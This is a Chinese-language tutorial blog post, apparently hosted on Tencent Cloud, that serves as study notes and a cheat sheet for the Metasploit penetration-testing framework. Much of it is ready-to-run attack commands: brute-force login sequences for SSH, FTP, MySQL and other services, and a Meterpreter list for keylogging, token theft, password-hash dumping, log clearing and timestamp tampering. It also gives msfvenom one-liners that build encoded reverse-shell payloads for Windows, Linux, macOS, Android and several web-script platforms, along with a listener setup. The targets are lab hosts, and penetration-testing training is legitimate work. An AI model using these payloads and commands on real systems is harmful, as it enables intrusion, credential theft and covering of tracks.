一直在用 Metasploit,但是从来没有花时间仔细去研究这个工具,最近得空就系统的研究研究,故于此记录之。
Metasploit是一款开源的渗透测试框架平台,MSF已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写。
官网:https://www.metasploit.com/
Metasploit基础库文件位于源码根目录路径下的
libraries
目录中,包括Rex
,framework-core
和framework-base
三部分。
模块是通过Metasploit框架所装载、集成并对外提供的最核心的渗透测试功能实现代码。分为
辅助模块(Aux)
、渗透攻击模块(Exploits)
、后渗透攻击模块(Post)
、攻击载荷模块(payloads)
、编码器模块(Encoders)
、空指令模块(Nops)
。这些模块拥有非常清晰的结构和一个预定义好的接口,并可以组合支持信息收集、渗透攻击与后渗透攻击拓展。
插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。
包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界面以及 msfapi 远程调用接口等。
除了用户使用用户接口访问 metasploit 框架主体功能之外,metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload
、msfencode
和 msfvenom
可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。msf*scan
系列功能程序提供了在PE、ELF等各种类型文件中搜索特定指令的功能,可以帮助渗透代码开发人员定位指令地址。
目录地址:/usr/share/metasploit-framework/
最重要的目录是data,modules,scripts,tools,plugins
存放meterpreter,exploits,wordlists等。
meterpreter是msf的攻击载荷,使用于后渗透阶段
exploits里面则存放了许多的cve漏洞利用代码
wordlists里面放的是字典文件
metasploit的核心目录了,存放着各个攻击模块
存放一些msf用到的脚本文件,分别是meterpreter,ps,resource,shell
存放各种可使用的工具
存放msf的各种插件
方法一:
sudo msfdb init && msfconsole
方法二:
启动完成后会有一些统计信息,比如说版本号,有多少个 exploits,多少个 payloads 等。
通过 help
查看帮助,可以对 msf 有个整体认识,可以看到 msf 相关命令可以分成以下类型:
Core Commands | 核心命令 |
---|---|
Module Commands | 模块命令 |
Job Commands | 后台任务命令 |
Resource Script Commands | 资源脚本命令 |
Database Backend Commands | 数据库后端命令 |
Credentials Backend Commands | 证书/凭证后端命令 |
Developer Commands | 开发人员命令 |
待更。。。
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set RHOSTS 192.168.1.103
msf auxiliary(telnet_login) > set STOP_ON_SUCCESS true #爆破成功就停止
msf auxiliary(telnet_login) > set VERBOSE true #打印输出
msf auxiliary(telnet_login) > set USER_FILE /root/Desktop/username.txt
msf auxiliary(telnet_login) > set PASS_FILE /root/Desktop/password.txt
msf auxiliary(telnet_login) > exploit
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS 192.168.1.103
msf auxiliary(ssh_login) > set STOP_ON_SUCCESS true #爆破成功就停止
msf auxiliary(ssh_login) > set VERBOSE true #打印输出
msf auxiliary(ssh_login) > set USER_FILE /root/Desktop/username.txt
msf auxiliary(ssh_login) > set PASS_FILE /root/Desktop/password.txt
msf auxiliary(ssh_login) > set THREADS 50
msf auxiliary(ssh_login) > run
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set RHOSTS 192.168.1.103
msf auxiliary(mysql_login) > set STOP_ON_SUCCESS true #爆破成功就停止
msf auxiliary(mysql_login) > set VERBOSE true #打印输出
msf auxiliary(mysql_login) > set USER_FILE /root/Desktop/username.txt
msf auxiliary(mysql_login) > set PASS_FILE /root/Desktop/password.txt
msf auxiliary(mysql_login) > run
msf > use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set RHOSTS 192.168.1.103
msf auxiliary(ftp_login) > set STOP_ON_SUCCESS true #爆破成功就停止
msf auxiliary(ftp_login) > set VERBOSE true #打印输出
msf auxiliary(ftp_login) > set USERNAME msfadmin
msf auxiliary(ftp_login) > set PASS_FILE /root/Desktop/password.txt
msf auxiliary(ftp_login) > run
msf > use auxiliary/scanner/postgres/postgres_login
msf auxiliary(postgres_login) > set RHOSTS 192.168.1.103
msf auxiliary(postgres_login) > set STOP_ON_SUCCESS true #爆破成功就停止
msf auxiliary(postgres_login) > set VERBOSE true #打印输出
msf auxiliary(postgres_login) > set USER_FILE /root/Desktop/username.txt
msf auxiliary(postgres_login) > set PASS_FILE /root/Desktop/password.txt
msf auxiliary(postgres_login) > run
run scriptname 运行Meterpreter脚本,在scripts/meterpreter目录下可查看所有的脚本名。
sysinfo 列出受控主机的系统信息。
ls 列出目标主机的文件和文件夹信息。
use priv 加载特权提升扩展模块,来扩展Meterpreter库。
ps 显示所有运行进程以及关联的用户账号。
migrate PID 迁移到一个指定的进程ID(PID可通过ps从目标主机上获得)。
use incognito 加载incognito功能(用来盗窃目标主机的令牌或是假冒用户).
list_tokens -u 列出目标主机用户的可用令牌。
list_tokens -g 列出目标主机用户组的可用令牌。
impersonate_token DOMAIN_NAME\\USERNAME 假冒目标主机上的可用令牌。
steal_token PID 盗窃给定进程的可用令牌并进行令牌假冒。
drop_token 停止假冒当前令牌。
getsystem 通过各种攻击向量来提升系统用户权限。
shell 以所有可用令牌来运行一个交互的shell。
execute -f cmd.exe -i 执行cmd.exe命令并进行交互。
execute -f cmd.exe -i -t 以所有可用的令牌来执行cmd命令。
execute -f cmd.exe -i -H -t 以所有可用的令牌来执行cmd命令并隐藏该进程。
rev2self 回到控制目标主机的初始化用户账号下。
reg command 在目标主机注册表中进行交互,创建,删除,查询等操作。
setdesktop number 切换到另一个用户界面(该功能基于哪些用户已登录)。
screenshot 对目标主机的屏幕进行截图。
upload file 向目标主机上传文件
download file 从目标主机下载文件。
keyscan_start 针对远程目标主机开启键盘记录功能。
keyscan_dump 存储目标主机上捕获的键盘记录。
keyscan_stop 停止针对目标主机的键盘记录功能。
getprivs 尽可能多的获取目标主机上的特权。
uictl enable keyboard/mouse 接管目标主机的键盘和鼠标。
background 将你当前的Meterpreter shell转为后台执行。
hashdump 导出目标主机中的口令哈希值。
use sniffer 加载嗅探模块。
sniffer_interfaces 列出目标主机所有开放的网络接口。
sniffer_dump interfaceID pcapname 在目标主机上启动嗅探。
sniffer_stats interfaceID 获取正在实施嗅探网络接口的统计数据。
sniffer_start interfaceID packet-buffer 在目标主机上针对特定范围的数据包缓冲区启动嗅探。
sniffer_stop interfaceID 停止嗅探。
add_user username password -h ip 在远程目标主机上添加一个用户。
add_group_user "Domain Admins" username -h ip 将用户添加到目标主机的域管理员组中。
clearev 清除目标主机上的日志记录。
timestomp 修改文件属性,例如修改文件的创建时间(反取证调查)。
reboot 重启目标主机。
Linux下面汉字默认是UTF-8编码 Windows下汉字使用的是GBK系列编码
方法一:直接执行 chcp 65001
命令
方法二:将终端临时设置为GBK
系列编码即可
**msfvenom **是
msfpayload
和msfencode
的结合体,可利用 msfvenom 生成木马程序,并在目标机上执行,在本地监听上线
查看帮助参数的命令msfvenom -h
Options:
-l, --list <type> # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
-p, --payload <payload> # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
--list-options # 列出--payload <value> 的标准,高级和规避选项
-f, --format <format> # 指定 Payload 的输出格式(使用 --list formats 列出)
-e, --encoder <encoder> # 指定使用的 Encoder (使用 --list encoders 列出)
--sec-name <value> # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串
--smallest # 使用所有可用的编码器生成最小的payload
--encrypt <value> # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
--encrypt-key <value> # 用于加密的密钥
--encrypt-iv <value> # 加密的初始化向量
-a, --arch <arch> # 指定目标系统架构(使用 --list archs 列出)
--platform <platform> # 指定目标系统平台 (使用 --list platforms 列出)
-o, --out <path> # 保存payload到文件
-b, --bad-chars <list> # 设置需要在 Payload 中避免出现的字符,如: '\x00\xff'
-n, --nopsled <length> # 指定 nop 在 payload 中的数量
-s, --space <length> # 设置未经编码的 Payload 的最大长度
--encoder-space <length> # 编码后的 Payload 的最大长度
-i, --iterations <count> # 设置 Payload 的编码次数
-c, --add-code <path> # 指定包含一个额外的win32 shellcode文件
-x, --template <path> # 指定一个特定的可执行文件作为模板
-k, --keep # 保护模板程序的功能,注入的payload作为一个新的进程运行
-v, --var-name <value> # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
-t, --timeout <second> # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
-h, --help # 帮助
#普通生成
msfvenom -p <payload> <payload options> -f <format> -o <path>
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe
#编码生成
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i 编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=12345 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe
msfvenom -l archs #查看支持的系统架构
msfvenom -l platforms #查看支持系统平台
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats #列出所有的输出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的编码器
等待shell回连,务必注意,创建什么类型的payload就要用什么类型的监听器来接收,必须一一对应,此处就以最普通的tcp监听器为例
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 12345 #也可以使用默认的4444端口
msf > set lhost 192.168.1.101
msf > exploit
普通的exe 直接双击即可触发,会弹回一个常规meterpreter
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.52.128 LPORT=12345 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o x86_shell.exe
powershell,把文件中编码后的powershell payload代码直接抠出来,丢到目标机器的cmd中去执行触发,会弹回一个powershell的shell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1
直接赋予执行权限,执行即可触发
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f elf -o x86_shell.elf
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f macho -o x86_shell.macho
注意这里生成的apk是不能直接被装到手机上的,还需要你自己给apk签个名才能装,装完以后点击打开即可触发
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f apk -o x86_shell.apk
基于脚本,对于此类的web脚本触发执行方法非常简单,直接在url中访问该脚本即可
msfvenom --platform PHP -p php/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f asp -o shell.asp
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f aspx -o x86_shell.aspx
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.jsp
找个能部署war包的地方,如各类java控制台,部署一下即可执行
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.war
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.js
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.py
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.pl
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.rb
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.12 LPORT=12345 -f raw -o x86_shell.lua
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.3.12 LPORT=12345 -f raw -o shell.sh
参考:
基于TCP协议收集主机信息
使用auxiliary/scanner/discovery/
下模块进行扫描
use auxiliary/scanner/discovery/arp_sweep #发现存活的主机
use auxiliary/scanner/discovery/empty_udp
use auxiliary/scanner/discovery/ipv6_multicast_ping
use auxiliary/scanner/discovery/ipv6_neighbor
use auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
use auxiliary/scanner/discovery/udp_probe
use auxiliary/scanner/discovery/udp_sweep #除了可以探测到存活主机之外,还可以获得主机名称信息
实例:使用arp_sweep模块来发现存活的主机
search arp_sweep #查询此模块下的攻击模块
use 查询出来的攻击模块 #加载攻击模块
show options #查看一下该模块需要配置的选项参数
set RHOSTS 目标机ip #使用set命令将RHOSTS设置为目标电脑的IP
exploit #进行攻击
使用auxiliary/scanner/portscan/
下的模块探测主机端口
auxiliary/scanner/portscan/ack #ACK防火墙扫描
auxiliary/scanner/portscan/ftpbounce #FTP跳端口扫描
auxiliary/scanner/portscan/syn #SYN端口扫描(半连接扫描)
auxiliary/scanner/portscan/tcp #TCP端口扫描
auxiliary/scanner/portscan/xmas #TCP”XMas”端口扫描
SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。基于SSH协议收集信息,端口:
139
、445
使用auxiliary/scanner/smb/
下的模块进行SMB相关操作
auxiliary/scanner/smb/pipe_auditor #扫描命名管道
auxiliary/scanner/smb/pipe_dcerpc_auditor #返回DCERPC信息
auxiliary/scanner/smb/psexec_loggedin_users
auxiliary/scanner/smb/smb2 #扫描SMB2协议
auxiliary/scanner/smb/smb_enum_gpp
auxiliary/scanner/smb/smb_enumshares #扫描smb共享文件
auxiliary/scanner/smb/smb_enumusers #smb枚举系统用户
auxiliary/scanner/smb/smb_enumusers_domain
auxiliary/scanner/smb/smb_login #SMB登录
auxiliary/scanner/smb/smb_lookupsid #扫描组的用户
auxiliary/scanner/smb/smb_uninit_cred
auxiliary/scanner/smb/smb_version #扫描系统版本
**实例:使用 smb_version 基于 SMB 协议扫描版本号 **
msf5 > use auxiliary/scanner/smb/smb_version
#设置扫描目标,注意多个目标使用逗号+空格隔开
msf5 auxiliary(scanner/smb/smb_version) > show options
msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.56, 192.168.1.180
#注: 192.168.1.56 后面的逗号和 192.168.1.180 之间是有空格的
msf5 auxiliary(scanner/smb/smb_version) > run
扫描出来操作系统的版本号
使用auxiliary/scanner/ssh/
下的模块探测ssh信息
auxiliary/scanner/ssh/cerberus_sftp_enumusers
auxiliary/scanner/ssh/detect_kippo
auxiliary/scanner/ssh/ssh_enumusers #枚举用户
auxiliary/scanner/ssh/ssh_identify_pubkeys
auxiliary/scanner/ssh/ssh_login #密码爆破
auxiliary/scanner/ssh/ssh_login_pubkey
auxiliary/scanner/ssh/ssh_version #查看版本
使用auxiliary/scanner/ftp/
下的模块探测ftp信息
auxiliary/scanner/ftp/anonymous #匿名登录扫描
auxiliary/scanner/ftp/bison_ftp_traversal
auxiliary/scanner/ftp/ftp_login #密码爆破
auxiliary/scanner/ftp/ftp_version #查看版本
auxiliary/scanner/ftp/konica_ftp_traversal
auxiliary/scanner/ftp/pcman_ftp_traversal
auxiliary/scanner/ftp/titanftp_xcrc_traversal
使用auxiliary/scanner/mysql/
下的模块探测mysql信息
auxiliary/scanner/mysql/mysql_authbypass_hashdump
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_hashdump #dump密码hash
auxiliary/scanner/mysql/mysql_login #密码爆破
auxiliary/scanner/mysql/mysql_schemadump
auxiliary/scanner/mysql/mysql_version #查看版本
使用auxiliary/scanner/mssql/
下的模块探测SQL server的信息
auxiliary/scanner/mssql/mssql_hashdump #dump密码hash
auxiliary/scanner/mssql/mssql_login #密码爆破
auxiliary/scanner/mssql/mssql_ping #嗅探
auxiliary/scanner/mssql/mssql_schemadump
简单网络管理协议(SNMP) 是专门设计用于在 IP 网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,SNMP 使网络管理员能够管理网络效能,发现并解决网络问题以及规划网络增长。通过 SNMP 接收随机消息(及事件报告)网络管理系统获知网络出现问题。端口:
161
使用auxiliary/scanner/snmp/
下的模块探测 SNMP 的信息
use auxiliary/scanner/snmp/snmp_login #确定SNMP设备团体字符串的模块。
use auxiliary/scanner/snmp/snmp_enum #主机的枚举
use auxiliary/scanner/snmp/snmp_enumusers (windows) #收集在远程系统上的用户名的列表。
use auxiliary/scanner/snmp/snmp_enumshares (windows)#查询范围的主机,以确定任何可用的共享。
实例:
1、先到 Metasploitable2-Linux 主机上修改一下 SNMP 服务,因为默认服务是不对外开放的。
msfadmin@metasploitable:~# sudo vim /etc/default/snmpd
#修改第11行,侦听地址修改为0.0.0.0
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
修改为:
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'
#重启 SNMP 服务
msfadmin@metasploitable:~$ sudo /etc/init.d/snmpd restart
#确认服务监听正常
msfadmin@metasploitable:~$ netstat -antup | grep 161
(No info could be read for "-p": geteuid()=1000 but you should be root.)
udp 0 0 0.0.0.0:161 0.0.0.0:*
2、使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息
msf5 > use auxiliary/scanner/snmp/snmp_enum
msf5 auxiliary(scanner/snmp/snmp_enum) > show options
msf5 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.1.180 #靶机ip
msf5 auxiliary(scanner/snmp/snmp_enum) > run
3、可以看到通过 snmp 协议探测到的信息非常多。如服务器硬件信息和服务器当前运行的进程,这两方面是其他扫描方式获取不到的。
这个 psnuffle 模块可以像以前的 dsniff 命令一样,去嗅探密码, 目前支持POP3,IMAP,FTP和HTTP GET 协议。
1、Kali开启嗅探
msf5 > search sniffer
msf5 > use auxiliary/sniffer/psnuffle
msf5 auxiliary(sniffer/psnuffle) > info #查看 psnuffle 模块作用
msf5 auxiliary(sniffer/psnuffle) > show options
msf5 auxiliary(psnuffle) > run #直接run是实时在线的嗅探
msf5 auxiliary(psnuffle) > set pcapfile /root/ftp.pcap #设置pcapfile可以提取pcap文件中的账号密码
2、模拟靶机登录FTP
#kali新建一个终端窗口登录ftp,Metasploitable2-Linux 靶机中已经开启了 FTP 服务可以直接登录。
root@kali:~# apt install lftp -y #安装 lftp 命令
root@kali:~# lftp -u msfadmin 192.168.1.180 #登录 FTP
密码:msfadmin
#连接成功后,进行下数据交互,查看 ftp 目录下的文件
lftp msfadmin@192.168.1.180:~> ls
drwxr-xr-x 6 1000 1000 4096 Apr 28 2010 vulnerable
3、查看嗅探到的数据
回到 MSF 终端可以看到用户名密码信息已经被获取。
4、关闭任务
#嗅探完成后记得把后台任务关闭
msf5 auxiliary(psnuffle) > jobs #查看后台运行的任务
msf5 auxiliary(psnuffle) > kill 0 #kill job 的 ID,关闭 job
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有